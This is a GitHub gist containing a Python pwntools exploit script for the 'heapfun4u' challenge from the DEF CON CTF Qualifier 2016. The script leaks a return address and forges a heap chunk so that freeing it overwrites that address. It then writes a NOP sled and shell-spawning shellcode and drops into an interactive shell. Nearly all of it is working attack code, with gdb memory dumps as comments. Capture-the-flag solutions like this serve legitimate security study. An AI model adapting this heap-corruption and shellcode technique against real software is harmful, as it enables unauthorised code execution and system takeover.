Created
March 3, 2017 09:38
-
-
Save Tosainu/0fce36ed5a6e0f94d61f8925cbee245c to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# DEF CON CTF Qualifier 2016: heapfun4u | |
# https://github.com/ctfs/write-ups-2016/tree/master/def-con-ctf-qualifiers-2016/pwn/heapfun4u | |
from pwn import * | |
context(os='linux', arch='amd64') | |
r = remote('localhost', 4000) | |
# r = process('./heapfun4u') | |
# [A]llocate Buffer | |
# [F]ree Buffer | |
# [W]rite Buffer | |
# [N]ice guy | |
# [E]xit | |
# | | |
def choose_action(c): | |
r.recvuntil('| ') | |
r.sendline(c) | |
def alloc_buffer(n): | |
choose_action('A') | |
r.recvuntil('Size: ') | |
r.sendline(str(n)) | |
def free_buffer(i): | |
choose_action('F') | |
leak = r.recvuntil('Index: ') | |
update_buffer_list(leak[:-len('\nIndex: ')]) | |
r.sendline(str(i)) | |
def write_buffer(i, s): | |
choose_action('W') | |
leak = r.recvuntil('Write where: ') | |
update_buffer_list(leak[:-len('\nWrite where: ')]) | |
r.sendline(str(i)) | |
r.recvuntil('Write what: ') | |
r.sendline(s) | |
def nice_guy(): | |
choose_action('N') | |
r.recvuntil('Here you go: ') | |
return int(r.recvuntil('\n')[:-1], 16) | |
def exit_app(): | |
choose_action('E') | |
buffers = dict() | |
def update_buffer_list(liststr): | |
global buffers | |
if liststr: | |
buffers = dict() | |
for line in liststr.split('\n'): | |
a = line.split() | |
buffers[int(a[0][:-1])] = {'addr': int(a[1], 16), 'size': int(a[3])} | |
# get main() return_addr | |
return_addr = nice_guy() + 316 | |
log.info('return address leaked!: 0x%x' % return_addr) | |
log.info('allocate 1st buffer') | |
alloc_buffer(200) # 1 | |
log.info('free 1st buffer') | |
free_buffer(1) | |
log.info('allocate 4 buffers') | |
alloc_buffer(10) # 2 | |
alloc_buffer(10) # 3 | |
alloc_buffer(10) # 4 | |
alloc_buffer(10) # 5 | |
log.info('free 4th buffer') | |
free_buffer(4) | |
pause() | |
# gdb-peda$ vmmap | |
# Start End Perm Name | |
# ... | |
# 0x00007f1412474000 0x00007f1412497000 r-xp /usr/lib/ld-2.24.so | |
# 0x00007f141265b000 0x00007f141265d000 rw-p mapped | |
# 0x00007f1412695000 0x00007f1412696000 rwxp mapped <-- | |
# 0x00007f1412696000 0x00007f1412697000 r--p /usr/lib/ld-2.24.so | |
# 0x00007f1412697000 0x00007f1412698000 rw-p /usr/lib/ld-2.24.so | |
# ... | |
# gdb-peda$ x/30gx 0x00007f1412695000 | |
# 0x7f1412695000: 0x0000000000000013 0x0000000000000000 | |
# 0x7f1412695010: 0x0000000000000000 0x0000000000000013 | |
# 0x7f1412695020: 0x0000000000000000 0x0000000000000000 | |
# 0x7f1412695030: 0x0000000000000012 0x00007f1412695060 <- 4th chunk bk? | |
# 0x7f1412695040: 0x0000000000000000 0x0000000000000013 | |
# 0x7f1412695050: 0x0000000000000000 0x0000000000000000 | |
# 0x7f1412695060: 0x0000000000000f98 0x0000000000000000 | |
# 0x7f1412695070: 0x0000000000000000 0x0000000000000000 | |
# 0x7f1412695080: 0x0000000000000000 0x0000000000000000 | |
# 0x7f1412695090: 0x0000000000000000 0x0000000000000000 | |
# 0x7f14126950a0: 0x0000000000000000 0x0000000000000000 | |
# 0x7f14126950b0: 0x0000000000000000 0x0000000000000000 | |
# 0x7f14126950c0: 0x0000000000000000 0x0000000000000000 | |
# 0x7f14126950d0: 0x0000000000000f28 0x0000000000000000 | |
# 0x7f14126950e0: 0x0000000000000000 0x0000000000000000 | |
log.info('allocated buffers:') | |
for k, v in buffers.iteritems(): | |
print(' {} 0x{:x} {:3d}'.format(k, v['addr'], v['size'])) | |
log.info('create fake chunk') | |
payload = '' | |
payload += 'A' * 0x10 | |
payload += p64(0x13) # 3rd chunk size | |
payload += 'B' * 0x10 | |
payload += p64(0x12) # 4th chunk size | |
payload += p64(buffers[4].get('addr') + 0x10) # bk | |
payload += p64(return_addr + 0x8) # fd | |
write_buffer(1, payload) | |
log.info('free 3rd chunk') | |
free_buffer(3) | |
log.info('write shellcode to 1st buffer') | |
payload = '' | |
payload += '\x90' * 0x40 | |
payload += asm(shellcraft.sh()) | |
write_buffer(1, payload) | |
log.info('exit app') | |
exit_app() | |
r.clean() | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment